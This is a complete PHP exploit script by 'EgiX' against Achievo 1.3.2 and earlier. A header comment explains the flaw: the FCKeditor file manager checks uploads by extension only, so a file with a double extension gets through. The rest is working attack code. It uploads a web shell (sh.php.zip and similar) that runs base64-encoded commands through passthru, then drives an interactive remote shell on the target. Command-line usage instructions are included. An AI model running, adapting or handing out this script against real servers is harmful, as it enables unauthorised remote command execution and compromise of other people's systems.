<?php

/*
  -----------------------------------------------------------------
  Achievo <= 1.3.2 (fckeditor) Remote Arbitrary File Upload Exploit
  -----------------------------------------------------------------
  
  author...: EgiX
  mail.....: n0b0d13s[at]gmail[dot]com
  
  link.....: http://www.achievo.org/
  details..: works only with a specific server configuration (e.g. an Apache server with the mod_mime module installed)
  
  [-] vulnerable code in /atk/attributes/fck/editor/filemanager/browser/mcpuk/connectors/php/config.php
  
  121.  //File Area
  122.  $fckphp_config['ResourceAreas']['File'] =array(
  123.    
  124.    //Files(identified by extension) that may be uploaded to this area
  125.    'AllowedExtensions'  =>  array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla"),
  
  with a default configuration of this script, an attacker might be able to upload arbitrary
  files containing malicious PHP code due to multiple file extensions isn't properly checked
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
  $sock = fsockopen($host, 80);
  while (!$sock)
  {
    print "\n[-] No response from {$host}:80 Trying again...";
    $sock = fsockopen($host, 80);
  }
  fputs($sock, $packet);
  while (!feof($sock)) $resp .= fread($sock, 1024);
  fclose($sock);
  return $resp;
}

function upload()
{
  global $host, $path;
  
  $connector = "atk/attributes/fck/editor/filemanager/browser/mcpuk/connectors/php/connector.php";
  $file_ext  = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv");
  
  foreach ($file_ext as $ext)
  {
    print "\n[-] Trying to upload with .{$ext} extension...";
    
    $data  = "--12345\r\n";
    $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php.{$ext}\"\r\n";
    $data .= "Content-Type: application/octet-stream\r\n\r\n";
    $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
    $data .= "--12345--\r\n";
    
    $packet  = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Length: ".strlen($data)."\r\n";
    $packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $packet .= $data;
    
    preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html);
    
    if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");
    
    $packet  = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $html    = http_send($host, $packet);
    
    if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
    
    sleep(1);
  }
  
  return false;
}

print "\n+--------------------------------------------------------------------+";
print "\n| Achievo <= 1.3.2 (fckeditor) Arbitrary File Upload Exploit by EgiX |";
print "\n+--------------------------------------------------------------------+\n";

if ($argc < 3)
{
  print "\nUsage......: php $argv[0] host path\n";
  print "\nExample....: php $argv[0] localhost /";
  print "\nExample....: php $argv[0] localhost /achievo/\n";
  die();
}

$host = $argv[1];
$path = $argv[2];

if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");
else print "\n[-] Shell uploaded...starting it!\n";

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
  print "\nachievo-shell# ";
  $cmd = trim(fgets(STDIN));
  if ($cmd != "exit")
  {
    $packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
    $packet.= "Host: {$host}\r\n";
    $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
    $packet.= "Connection: close\r\n\r\n";
    $html   = http_send($host, $packet);
    if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");
    $shell = explode("_code_", $html);
    print "\n{$shell[1]}";
  }
  else break;
}

?>